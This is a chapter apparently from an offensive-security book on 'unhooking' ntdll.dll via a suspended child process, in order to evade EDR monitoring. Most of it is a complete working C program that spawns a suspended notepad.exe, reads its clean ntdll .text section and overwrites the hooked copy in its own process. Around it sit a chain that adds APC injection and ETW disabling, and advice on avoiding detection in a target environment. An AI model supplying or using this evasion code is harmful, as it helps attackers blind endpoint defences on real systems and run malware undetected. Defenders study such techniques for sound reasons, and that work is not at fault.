Chapter 40

Unhooking via Suspended Process

Chapter 39's disk-based unhook has one weakness: opening ntdll.dll from the filesystem looks suspicious — why would a process read a system DLL file? The suspended process technique avoids filesystem access entirely. You create any process in the suspended state, read the ntdll.dll .text section from the new process's memory before the EDR has injected its hooks there, and copy those clean bytes back to your own process. The suspended process has a clean ntdll because the EDR hasn't run its injection code yet (the EDR fires after the first thread starts running). This chapter implements the suspended-process-based unhook and explains why it's considered more OPSEC-friendly than the disk approach.

Why a Suspended Process Has Unhooked ntdll

EDR hook installation timing relative to process creation
  Timeline of events when Windows creates a new process:
  ─────────────────────────────────────────────────────────────────────────
  T+0ms   CreateProcess() called (by parent process)
  T+1ms   Kernel creates process object
  T+2ms   Kernel maps ntdll.dll into new process (clean, from KnownDlls)
  T+3ms   Main thread created in SUSPENDED state (if CREATE_SUSPENDED)
           │
           │ ← WE ARE HERE if we created the process with CREATE_SUSPENDED
           │    The EDR has NOT had a chance to inject its DLL yet.
           │    ntdll.dll in the new process is 100% clean.
           │
  T+5ms   (IF NOT SUSPENDED) Main thread starts: ntdll _LdrpInitialize runs
  T+7ms   LdrpInitializeProcess: loads required DLLs (kernel32, etc.)
  T+10ms  EDR's PsSetLoadImageNotifyRoutine callback fires → EDR queues a
           LoadLibrary APC to load EDR's monitoring DLL into the new process
  T+12ms  EDR's DLL loads → DllMain runs → EDR patches ntdll hooks
           │
           │ ← By this point, ntdll in the new process is HOOKED
  ─────────────────────────────────────────────────────────────────────────

  The suspended process window:
    At T+3ms, the new process exists with clean ntdll, no hooks.
    We can read its ntdll.text section via ReadProcessMemory.
    Those bytes are the original, unhooked function bytes.
    Copy them to OUR ntdll.text → our ntdll is now unhooked.
  
  No file I/O, no filesystem access — just process memory reading.
  
  OPSEC comparison:
    Disk method: CreateFile("ntdll.dll") → suspicious file access event
    Suspended method: ReadProcessMemory(hSuspendedProc, ntdll_addr) 
    → Still generates an OpenProcess + ReadProcessMemory event,
      but in the context of process creation (slightly less unusual)

Implementation

/* unhook_suspended.c — Unhook ntdll by reading from a suspended child process
   
   Creates a suspended process, reads its clean ntdll.text section,
   copies it to the caller's ntdll.text section, then terminates the child.
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o unhook_suspended.exe unhook_suspended.c
*/

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

static PVOID get_remote_ntdll_text(HANDLE hProc,
                                    DWORD *out_size,
                                    DWORD *out_rva) {
    /*
     * Strategy: The remote process loads ntdll at the SAME base address
     * as our process (shared ASLR — same base per boot session).
     * So: GetModuleHandleA("ntdll.dll") in our process == base in remote.
     * We can parse our OWN ntdll headers to find the .text section RVA,
     * then read from that address in the remote process.
     */
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PBYTE ntdll_base = (PBYTE)hNtdll;

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll_base;
    PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(ntdll_base + dos->e_lfanew);
    PIMAGE_SECTION_HEADER secs = IMAGE_FIRST_SECTION(nt);

    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (memcmp(secs[i].Name, ".text", 5) == 0) {
            *out_rva  = secs[i].VirtualAddress;
            *out_size = secs[i].Misc.VirtualSize;
            /* Address of .text in remote process (same base address) */
            return (PVOID)(ntdll_base + *out_rva);
        }
    }
    return NULL;
}

BOOL unhook_via_suspended_process(void) {
    /* Step 1: Create a sacrificial process in SUSPENDED state
       Use something innocuous that exists on all Windows systems.
       notepad.exe, calc.exe, or cmd.exe are common choices.
       The process will be terminated after we steal its clean ntdll.
    */
    STARTUPINFOA si = { .cb = sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };

    char host[] = "C:\\Windows\\System32\\notepad.exe";

    if (!CreateProcessA(NULL, host, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        /* Fallback: try without full path */
        if (!CreateProcessA(NULL, "notepad.exe", NULL, NULL, FALSE,
                            CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
            printf("[-] CreateProcess(notepad.exe): %lu\n", GetLastError());
            return FALSE;
        }
    }
    printf("[+] Suspended process: notepad.exe (PID %lu)\n", pi.dwProcessId);
    printf("    ntdll in this process is clean (EDR not yet injected)\n");

    /* Step 2: Open the child process for reading */
    HANDLE hProc = OpenProcess(PROCESS_VM_READ, FALSE, pi.dwProcessId);
    if (!hProc) {
        printf("[-] OpenProcess: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }

    /* Step 3: Find .text section location in the remote (and local) ntdll */
    DWORD text_size = 0, text_rva = 0;
    PVOID remote_text_addr = get_remote_ntdll_text(hProc, &text_size, &text_rva);
    if (!remote_text_addr) {
        printf("[-] Could not find ntdll .text section\n");
        CloseHandle(hProc);
        TerminateProcess(pi.hProcess, 1);
        return FALSE;
    }
    printf("[+] ntdll .text RVA: 0x%lX, size: 0x%lX\n", text_rva, text_size);
    printf("[+] Remote .text address: %p\n", remote_text_addr);

    /* Step 4: Allocate a local buffer to hold the clean .text bytes */
    PBYTE clean_text = (PBYTE)VirtualAlloc(NULL, text_size,
                                             MEM_COMMIT | MEM_RESERVE,
                                             PAGE_READWRITE);
    if (!clean_text) {
        printf("[-] VirtualAlloc for clean buffer: %lu\n", GetLastError());
        CloseHandle(hProc);
        TerminateProcess(pi.hProcess, 1);
        return FALSE;
    }

    /* Step 5: Read the clean .text section from the suspended process */
    SIZE_T bytes_read = 0;
    if (!ReadProcessMemory(hProc, remote_text_addr,
                           clean_text, text_size, &bytes_read)) {
        printf("[-] ReadProcessMemory: %lu\n", GetLastError());
        VirtualFree(clean_text, 0, MEM_RELEASE);
        CloseHandle(hProc);
        TerminateProcess(pi.hProcess, 1);
        return FALSE;
    }
    printf("[+] Read %zu bytes of clean ntdll .text from suspended process\n",
           bytes_read);

    /* Terminate child — we have what we need */
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(hProc);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    printf("[+] Suspended process terminated\n");

    /* Step 6: Overwrite OUR ntdll .text with the clean bytes */
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PBYTE our_ntdll_text = (PBYTE)hNtdll + text_rva;

    DWORD old_protect = 0;
    if (!VirtualProtect(our_ntdll_text, text_size,
                        PAGE_EXECUTE_READWRITE, &old_protect)) {
        printf("[-] VirtualProtect (make ntdll writable): %lu\n", GetLastError());
        VirtualFree(clean_text, 0, MEM_RELEASE);
        return FALSE;
    }

    memcpy(our_ntdll_text, clean_text, text_size);
    printf("[+] Clean bytes written to our ntdll .text — hooks removed\n");

    VirtualProtect(our_ntdll_text, text_size, old_protect, &old_protect);
    VirtualFree(clean_text, 0, MEM_RELEASE);

    printf("[+] ntdll unhooking complete via suspended process method\n");
    return TRUE;
}

int main(void) {
    printf("=== Suspended Process ntdll Unhooker ===\n\n");
    return unhook_via_suspended_process() ? 0 : 1;
}

Disk vs Suspended Process — Technique Comparison

Unhook method comparison
  Property                    │ Disk method (Ch39)           │ Suspended process (Ch40)
  ────────────────────────────┼──────────────────────────────┼─────────────────────────────────────
  File I/O                    │ YES (opens ntdll.dll)        │ NO (pure process memory access)
  Sysmon FileCreate/Access    │ Possible (file open event)   │ No file events
  Process creation            │ NO                           │ YES (suspicious host process created)
  OpenProcess needed          │ NO (only own process)        │ YES (PROCESS_VM_READ on child)
  Detection by CreateFile EDR │ POSSIBLE                     │ NO
  Detection by CPS EDR        │ NO                           │ YES (child process created)
  Reliability (version match) │ SAME binary on same OS       │ SAME binary on same OS
  IAT hooks bypassed          │ NO (ntdll code only)         │ NO (ntdll code only)
  Speed                       │ Fast (file map)              │ Slightly slower (process creation)
  ────────────────────────────┴──────────────────────────────┴─────────────────────────────────────

  Which to use:
    Disk method: when you know the EDR doesn't monitor file reads of ntdll
    Suspended method: when the EDR monitors file access but not process creation events
    
  Neither is universally better — both are detectable by comprehensive EDRs.
  Combine with ETW bypass (Ch46) for maximum effectiveness.
  
  Combined approach used in production:
    1. Use direct syscall (not hooked) for all setup
    2. Early Bird APC (Ch31) to inject before EDR hooks are active
    3. If hooks are present: suspended process unhook
    4. After unhook: disable ETW (Ch46)
    5. Now proceed with remaining operations using unhooked ntdll

Questions & Answers

What if the EDR detects the spawned notepad.exe process and its suspicious termination?

The CREATE_SUSPENDED + immediate TerminateProcess pattern is itself a detection signal — legitimate applications rarely create processes, suspend them indefinitely, read their memory, and then kill them. EDRs can detect this via process lifecycle monitoring: process created but exited immediately without the parent process ever letting it run is unusual. Mitigations: (1) Use a host process that's routinely created on this system (avoid notepad.exe if it's not normally used — use a process that's already in the process tree). (2) Let the child process run briefly before terminating (add a small Sleep(500) after ReadProcessMemory, let the child initialize partially). (3) Use the disk method instead if process creation monitoring is more comprehensive than file access monitoring in your target environment. (4) Use indirect syscalls or direct syscalls for the ReadProcessMemory call itself to avoid the hook that monitors cross-process memory reading.

Can this technique unhook Defender's hooks in Microsoft Defender Antivirus?

For Microsoft Defender specifically, this technique unhooks whatever Defender has placed as inline JMP hooks in ntdll.dll. However, as mentioned in Chapter 38, Microsoft Defender for Endpoint (the enterprise EDR product, distinct from the consumer AV) primarily relies on ETW-TI (kernel-level telemetry) rather than user-mode hooks. ETW-TI is not affected by this unhooking technique. Consumer Windows Defender (Defender Antivirus, MsMpEng.exe) uses amsi.dll for script scanning and may use some ntdll hooks — those would be removed by this technique. The distinction matters: if your target has MDE (Microsoft Defender for Endpoint) rather than just basic Defender AV, unhooking ntdll gives you much less benefit because MDE's detection is primarily kernel-sourced, not hook-sourced.